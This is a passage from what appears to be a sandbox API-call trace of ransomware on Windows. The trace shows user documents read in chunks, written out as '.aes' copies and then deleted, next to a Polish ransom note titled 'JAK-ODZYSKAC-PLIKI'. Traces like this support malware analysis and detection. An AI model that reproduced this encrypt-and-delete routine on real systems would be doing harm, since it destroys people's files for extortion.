"c:\\users\\kft6utqw\\documents\\6_uymfikkpct\\oxq6tndno0\\568wxqkdq_fimwon.pdf.aes"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x34c [0073.752] GetFileType (hFile=0x34c) returned 0x1 [0073.752] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f0) returned 1 [0073.752] GetFileType (hFile=0x34c) returned 0x1 [0073.753] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x77ce624 | out: pFixedInfo=0x0, pOutBufLen=0x77ce624) returned 0x6f [0073.760] LocalAlloc (uFlags=0x0, uBytes=0x248) returned 0x6fd6ef8 [0073.760] GetNetworkParams (in: pFixedInfo=0x6fd6ef8, pOutBufLen=0x77ce624 | out: pFixedInfo=0x6fd6ef8, pOutBufLen=0x77ce624) returned 0x0 [0073.767] LocalFree (hMem=0x6fd6ef8) returned 0x0 [0073.767] GetAdaptersAddresses () returned 0x6f [0073.771] LocalAlloc (uFlags=0x0, uBytes=0xd8c) returned 0x7014730 [0073.771] GetAdaptersAddresses () returned 0x0 [0073.778] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0073.785] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x1c8b20 [0073.785] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x1c8b20, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x1c8b20, pOutBufLen=0x77ce38c) returned 0x0 [0073.791] LocalFree (hMem=0x1c8b20) returned 0x0 [0073.791] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0073.797] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x1c8b20 [0073.797] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x1c8b20, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x1c8b20, pOutBufLen=0x77ce38c) returned 0x0 [0073.804] LocalFree (hMem=0x1c8b20) returned 0x0 [0073.804] LocalFree (hMem=0x7014730) returned 0x0 [0073.804] GetBestInterfaceEx (in: pDestAddr=0x26c6fc4*(sa_family=2, sin_port=0x0, sin_addr="127.0.0.1"), pdwBestIfIndex=0x77ce74c | out: pdwBestIfIndex=0x77ce74c) returned 0x0 [0073.886] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b57bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b57bc*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0073.887] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b57bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b57bc*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0073.887] WriteFile (in: hFile=0x34c, lpBuffer=0x2895f64*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2895f64*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0073.887] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b57bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b57bc*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0073.887] WriteFile (in: hFile=0x34c, lpBuffer=0x2895f64*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2895f64*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0073.887] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b57bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b57bc*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0073.887] WriteFile (in: hFile=0x34c, lpBuffer=0x2895f64*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2895f64*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0073.888] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b57bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b57bc*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0073.888] WriteFile (in: hFile=0x34c, lpBuffer=0x2895f64*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2895f64*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0073.888] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b57bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b57bc*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0073.888] WriteFile (in: hFile=0x34c, lpBuffer=0x2895f64*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2895f64*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0073.888] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b57bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b57bc*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0073.888] WriteFile (in: hFile=0x34c, lpBuffer=0x2895f64*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2895f64*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0073.888] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b57bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b57bc*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0073.889] WriteFile (in: hFile=0x34c, lpBuffer=0x2895f64*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2895f64*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0073.889] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b57bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b57bc*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0073.889] WriteFile (in: hFile=0x34c, lpBuffer=0x2895f64*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2895f64*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0073.889] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b57bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b57bc*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0073.889] WriteFile (in: hFile=0x34c, lpBuffer=0x2895f64*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2895f64*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0073.889] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b57bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b57bc*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0073.889] WriteFile (in: hFile=0x34c, lpBuffer=0x2895f64*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2895f64*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0073.889] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b57bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b57bc*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0073.890] WriteFile (in: hFile=0x34c, lpBuffer=0x2895f64*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2895f64*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0073.890] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b57bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b57bc*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0073.890] WriteFile (in: hFile=0x34c, lpBuffer=0x2895f64*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2895f64*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0073.890] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b57bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b57bc*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0073.890] WriteFile (in: hFile=0x34c, lpBuffer=0x2895f64*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2895f64*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0073.890] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b57bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b57bc*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0073.891] WriteFile (in: hFile=0x34c, lpBuffer=0x2895f64*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2895f64*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0073.891] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b57bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b57bc*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0073.892] WriteFile (in: hFile=0x34c, lpBuffer=0x26b70a4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x26b70a4*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0073.892] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b57bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b57bc*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0073.892] WriteFile (in: hFile=0x34c, lpBuffer=0x26b70a4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x26b70a4*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0073.892] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b57bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b57bc*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0073.892] WriteFile (in: hFile=0x34c, lpBuffer=0x26b70a4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x26b70a4*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0073.892] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b57bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b57bc*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0073.892] WriteFile (in: hFile=0x34c, lpBuffer=0x26b70a4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x26b70a4*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0073.893] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b57bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b57bc*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0073.893] WriteFile (in: hFile=0x34c, lpBuffer=0x26b70a4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x26b70a4*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0073.893] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b57bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b57bc*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0073.893] WriteFile (in: hFile=0x34c, lpBuffer=0x26b70a4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x26b70a4*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0073.893] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b57bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b57bc*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0073.893] WriteFile (in: hFile=0x34c, lpBuffer=0x26b70a4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x26b70a4*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0073.893] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b57bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b57bc*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0073.894] WriteFile (in: hFile=0x34c, lpBuffer=0x26b70a4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x26b70a4*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0073.894] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b57bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b57bc*, lpNumberOfBytesRead=0x77cea50*=0xc07, lpOverlapped=0x0) returned 1 [0073.894] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b57bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b57bc*, lpNumberOfBytesRead=0x77cea50*=0x0, lpOverlapped=0x0) returned 1 [0073.894] WriteFile (in: hFile=0x34c, lpBuffer=0x26b70a4*, nNumberOfBytesToWrite=0xd21, lpNumberOfBytesWritten=0x77ce974, lpOverlapped=0x0 | out: lpBuffer=0x26b70a4*, lpNumberOfBytesWritten=0x77ce974*=0xd21, lpOverlapped=0x0) returned 1 [0073.894] WriteFile (in: hFile=0x34c, lpBuffer=0x26b70a4*, nNumberOfBytesToWrite=0x21, lpNumberOfBytesWritten=0x77ce9a8, lpOverlapped=0x0 | out: lpBuffer=0x26b70a4*, lpNumberOfBytesWritten=0x77ce9a8*=0x21, lpOverlapped=0x0) returned 1 [0073.894] CloseHandle (hObject=0x34c) returned 1 [0073.895] CloseHandle (hObject=0x2a8) returned 1 [0073.895] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\568WxqKDq_FIMwoN.pdf", nBufferLength=0x105, lpBuffer=0x77ce628, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\568WxqKDq_FIMwoN.pdf", lpFilePart=0x0) returned 0x48 [0073.895] DeleteFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\568WxqKDq_FIMwoN.pdf" (normalized: "c:\\users\\kft6utqw\\documents\\6_uymfikkpct\\oxq6tndno0\\568wxqkdq_fimwon.pdf")) returned 1 [0073.896] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x4e [0073.896] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceae8) returned 1 [0073.897] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\documents\\6_uymfikkpct\\oxq6tndno0\\#$# jak-odzyskac-pliki.txt"), fInfoLevelId=0x0, lpFileInformation=0x77ceb64 | out: lpFileInformation=0x77ceb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe63422e0, ftCreationTime.dwHighDateTime=0x1d3468a, ftLastAccessTime.dwLowDateTime=0xe63422e0, ftLastAccessTime.dwHighDateTime=0x1d3468a, ftLastWriteTime.dwLowDateTime=0xe63422e0, ftLastWriteTime.dwHighDateTime=0x1d3468a, nFileSizeHigh=0x0, nFileSizeLow=0xa2c)) returned 1 [0073.897] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceae4) returned 1 [0073.897] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0073.923] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\8m1FCp.ots", nBufferLength=0x105, lpBuffer=0x77ce6b4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\8m1FCp.ots", lpFilePart=0x0) returned 0x3e [0073.923] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceb04) returned 1 [0073.923] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\8m1FCp.ots" (normalized: "c:\\users\\kft6utqw\\documents\\6_uymfikkpct\\oxq6tndno0\\8m1fcp.ots"), fInfoLevelId=0x0, lpFileInformation=0x77ceb80 | out: lpFileInformation=0x77ceb80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bd32480, ftCreationTime.dwHighDateTime=0x1d2fe8d, ftLastAccessTime.dwLowDateTime=0x1ba1a310, ftLastAccessTime.dwHighDateTime=0x1d30565, ftLastWriteTime.dwLowDateTime=0x1ba1a310, ftLastWriteTime.dwHighDateTime=0x1d30565, nFileSizeHigh=0x0, nFileSizeLow=0x10e8a)) returned 1 [0073.923] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceb00) returned 1 [0073.923] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\8m1FCp.ots", nBufferLength=0x105, lpBuffer=0x77ce520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\8m1FCp.ots", lpFilePart=0x0) returned 0x3e [0073.923] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9fc) returned 1 [0073.923] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\8m1FCp.ots" (normalized: "c:\\users\\kft6utqw\\documents\\6_uymfikkpct\\oxq6tndno0\\8m1fcp.ots"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x2a8 [0073.923] GetFileType (hFile=0x2a8) returned 0x1 [0073.923] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f8) returned 1 [0073.923] GetFileType (hFile=0x2a8) returned 0x1 [0073.923] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\8m1FCp.ots.aes", nBufferLength=0x105, lpBuffer=0x77ce518, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\8m1FCp.ots.aes", lpFilePart=0x0) returned 0x42 [0073.923] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9f4) returned 1 [0073.923] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\8m1FCp.ots.aes" (normalized: "c:\\users\\kft6utqw\\documents\\6_uymfikkpct\\oxq6tndno0\\8m1fcp.ots.aes"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x34c [0073.924] GetFileType (hFile=0x34c) returned 0x1 [0073.924] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f0) returned 1 [0073.924] GetFileType (hFile=0x34c) returned 0x1 [0073.924] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x77ce624 | out: pFixedInfo=0x0, pOutBufLen=0x77ce624) returned 0x6f [0073.931] LocalAlloc (uFlags=0x0, uBytes=0x248) returned 0x6fd6ef8 [0073.931] GetNetworkParams (in: pFixedInfo=0x6fd6ef8, pOutBufLen=0x77ce624 | out: pFixedInfo=0x6fd6ef8, pOutBufLen=0x77ce624) returned 0x0 [0073.938] LocalFree (hMem=0x6fd6ef8) returned 0x0 [0073.938] GetAdaptersAddresses () returned 0x6f [0073.943] LocalAlloc (uFlags=0x0, uBytes=0xd8c) returned 0x7014730 [0073.943] GetAdaptersAddresses () returned 0x0 [0073.948] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0073.954] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x1c8b20 [0073.954] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x1c8b20, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x1c8b20, pOutBufLen=0x77ce38c) returned 0x0 [0073.961] LocalFree (hMem=0x1c8b20) returned 0x0 [0073.961] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0073.968] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x1c8b20 [0073.968] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x1c8b20, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x1c8b20, pOutBufLen=0x77ce38c) returned 0x0 [0073.974] LocalFree (hMem=0x1c8b20) returned 0x0 [0073.974] LocalFree (hMem=0x7014730) returned 0x0 [0073.974] GetBestInterfaceEx (in: pDestAddr=0x2722158*(sa_family=2, sin_port=0x0, sin_addr="127.0.0.1"), pdwBestIfIndex=0x77ce74c | out: pdwBestIfIndex=0x77ce74c) returned 0x0 [0074.058] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b5834, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b5834*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0074.059] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b5834, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b5834*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0074.059] WriteFile (in: hFile=0x34c, lpBuffer=0x26f06a8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x26f06a8*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0074.059] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b5834, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b5834*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0074.059] WriteFile (in: hFile=0x34c, lpBuffer=0x26f06a8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x26f06a8*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0074.059] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b5834, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b5834*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0074.059] WriteFile (in: hFile=0x34c, lpBuffer=0x26f06a8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x26f06a8*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0074.060] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b5834, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b5834*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0074.060] WriteFile (in: hFile=0x34c, lpBuffer=0x26f06a8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x26f06a8*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0074.060] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b5834, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b5834*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0074.060] WriteFile (in: hFile=0x34c, lpBuffer=0x26f06a8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x26f06a8*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0074.060] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b5834, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b5834*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0074.060] WriteFile (in: hFile=0x34c, lpBuffer=0x26f06a8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x26f06a8*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0074.060] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b5834, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b5834*, 